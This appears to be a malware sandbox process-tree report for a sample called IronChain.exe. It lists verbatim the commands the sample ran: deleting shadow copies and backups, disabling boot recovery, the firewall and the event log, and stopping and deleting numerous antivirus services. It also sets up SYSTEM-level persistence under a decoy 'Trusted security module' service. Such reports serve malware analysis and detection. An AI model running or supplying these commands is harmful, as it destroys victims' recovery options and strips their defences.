C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"3⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist /fi "imagename eq Taskmgr.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"3⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im Taskmgr.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist /fi "imagename eq regedit.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} safemode minimal"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} safemode minimal4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im regedit.exe3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config swprv start= disabled4⤵
-
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist /fi "imagename eq cmd.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop swprv"3⤵
-
C:\Windows\system32\sc.exesc stop swprv4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\IronChain.exe""3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc create IBtRONNwCHi0AjIN0FtKf binPath= "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" start= auto DisplayName= "Iz5ROPN9CHVFAJINmuMvs""3⤵
-
C:\Windows\system32\sc.exesc create IBtRONNwCHi0AjIN0FtKf binPath= "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" start= auto DisplayName= "Iz5ROPN9CHVFAJINmuMvs"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc description IBtRONNwCHi0AjIN0FtKf "Trusted security module""3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc description IBtRONNwCHi0AjIN0FtKf "Trusted security module"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc start IBtRONNwCHi0AjIN0FtKf"3⤵
-
C:\Windows\system32\sc.exesc start IBtRONNwCHi0AjIN0FtKf4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe2⤵
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "IfKRO7NwCHL0AyINBmGAF" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "IfKRO7NwCHL0AyINBmGAF""3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe2⤵
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "WNiCnSdyoEwlsdUspNdsa2tEeGSwv1c" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "WNiCnSdyoEwlsdUspNdsa2tEeGSwv1c" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "WNiCnSdyoEwlsdUspNdsa2tEeGSwv1c""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "WNiCnSdyoEwlsdUspNdsa2tEeGSwv1c"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /reset"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /reset4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /inheritance:d"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /inheritance:d4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /remove "Administrators""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /remove "Administrators"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /remove "Admin""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /remove "Admin"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /remove "Authenticated Users""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /remove "Authenticated Users"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /grant "Users:RX""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /grant "Users:RX"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /inheritance:d"3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /inheritance:d4⤵
- Modifies file permissions
-
-
-
C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exeC:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe3⤵
- Executes dropped EXE
-
C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exeC:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "SbyJsKtQeFmpHmoxsatdDXauexm6oxn" /tr "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "SbyJsKtQeFmpHmoxsatdDXauexm6oxn" /tr "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "SbyJsKtQeFmpHmoxsatdDXauexm6oxn""5⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "SbyJsKtQeFmpHmoxsatdDXauexm6oxn"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop EventLog6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"5⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"5⤵
-
C:\Windows\system32\sc.exesc stop Resmon6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"5⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId 2>nul"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId6⤵
-
-
-
C:\Windows\System32\net.exenet stop AVP /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc delete AVP5⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete KAV5⤵
-
-
C:\Windows\System32\net.exenet stop BDSS /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config BDSS start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete BDSS5⤵
-
-
C:\Windows\System32\net.exenet stop Bitdefender /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config Bitdefender start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete Bitdefender5⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Antivirus" /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Antivirus" start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Antivirus"5⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Service" /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Service" start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Service"5⤵
-
-
C:\Windows\System32\net.exenet stop AVG /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config AVG start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete AVG5⤵
-
-
C:\Windows\System32\net.exenet stop MBAMService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config MBAMService start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete MBAMService5⤵
-
-
C:\Windows\System32\net.exenet stop DrWeb /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config DrWeb start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete DrWeb5⤵
-
-
C:\Windows\System32\net.exenet stop wscsvc /y5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config wscsvc start= disabled5⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\sc.exesc delete wscsvc5⤵
- Launches sc.exe
-
-
C:\Windows\System32\net.exenet stop SecurityHealthService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config SecurityHealthService start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete SecurityHealthService5⤵
-
-
C:\Windows\System32\net.exenet stop Sense /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config Sense start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete Sense5⤵
-
-
C:\Windows\System32\net.exenet stop WinDefend /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config WinDefend start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete WinDefend5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\net.exenet stop WdNisSvc /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config WdNisSvc start= disabled5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\sc.exesc delete WdNisSvc5⤵
-
-
C:\Windows\System32\net.exenet stop MpKslDrv /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config MpKslDrv start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete MpKslDrv5⤵
-
-
C:\Windows\System32\net.exenet stop NisSrv /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config NisSrv start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete NisSrv5⤵
-
-
C:\Windows\System32\net.exenet stop EventLog /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config EventLog start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete EventLog5⤵
-
-
C:\Windows\System32\net.exenet stop swprv /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config swprv start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete swprv5⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"5⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet6⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off6⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq Taskmgr.exe" /fo csv /nh5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet6⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im Taskmgr.exe5⤵
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq regedit.exe" /fo csv /nh5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"5⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"5⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im regedit.exe5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} safemode minimal"5⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} safemode minimal6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq cmd.exe" /fo csv /nh5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"5⤵
-
C:\Windows\system32\sc.exesc config swprv start= disabled6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop swprv"5⤵
-
C:\Windows\system32\sc.exesc stop swprv6⤵
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im cmd.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe""5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc create Meihc5rJoZs6oWfptJSNepcKuvrIi3tey binPath= "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" start= auto DisplayName= "SiyosKtceGm8H7o0sYtyDzaweimColn""5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc create Meihc5rJoZs6oWfptJSNepcKuvrIi3tey binPath= "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" start= auto DisplayName= "SiyosKtceGm8H7o0sYtyDzaweimColn"6⤵
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq msconfig.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im msconfig.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc description Meihc5rJoZs6oWfptJSNepcKuvrIi3tey "Trusted security module""5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\system32\sc.exesc description Meihc5rJoZs6oWfptJSNepcKuvrIi3tey "Trusted security module"6⤵
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq procexp.exe" /fo csv /nh5⤵
- Discovers running processes
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc start Meihc5rJoZs6oWfptJSNepcKuvrIi3tey"5⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\system32\sc.exesc start Meihc5rJoZs6oWfptJSNepcKuvrIi3tey6⤵
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc failure Meihc5rJoZs6oWfptJSNepcKuvrIi3tey reset= 86400 actions= restart/5000/restart/5000/restart/5000"5⤵
-
C:\Windows\system32\sc.exesc failure Meihc5rJoZs6oWfptJSNepcKuvrIi3tey reset= 86400 actions= restart/5000/restart/5000/restart/50006⤵
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq procexp64.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp64.exe5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc critical Meihc5rJoZs6oWfptJSNepcKuvrIi3tey"5⤵
-
C:\Windows\system32\sc.exesc critical Meihc5rJoZs6oWfptJSNepcKuvrIi3tey6⤵
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq mmc.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im mmc.exe5⤵
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq SystemSettings.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im SystemSettings.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq control.exe" /fo csv /nh5⤵
- Discovers running processes
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im control.exe5⤵
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq WindowsSecurity.exe" /fo csv /nh5⤵
- Discovers running processes
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /reset"5⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /reset6⤵
- Modifies file permissions
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im WindowsSecurity.exe5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /inheritance:d"5⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /inheritance:d6⤵
- Modifies file permissions
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq MsMpEng.exe" /fo csv /nh5⤵
- Discovers running processes
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im MsMpEng.exe5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /remove "Administrators""5⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /remove "Administrators"6⤵
- Modifies file permissions
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq powershell.exe" /fo csv /nh5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /remove "Admin""5⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /remove "Admin"6⤵
- Modifies file permissions
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im powershell.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /remove "Authenticated Users""5⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /remove "Authenticated Users"6⤵
- Modifies file permissions
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq pwsh.exe" /fo csv /nh5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /grant "Users:RX""5⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\MoiDcgrfoSsEogfwtbSeewcvuWrfiutEy.exe" /grant "Users:RX"6⤵
- Modifies file permissions
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im pwsh.exe5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId 2>nul"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId4⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config AVP start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete AVP3⤵
-
-
C:\Windows\system32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config KAV start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete KAV3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config BDSS start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete BDSS3⤵
-
-
C:\Windows\system32\net.exenet stop Bitdefender /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y4⤵
-
-
-
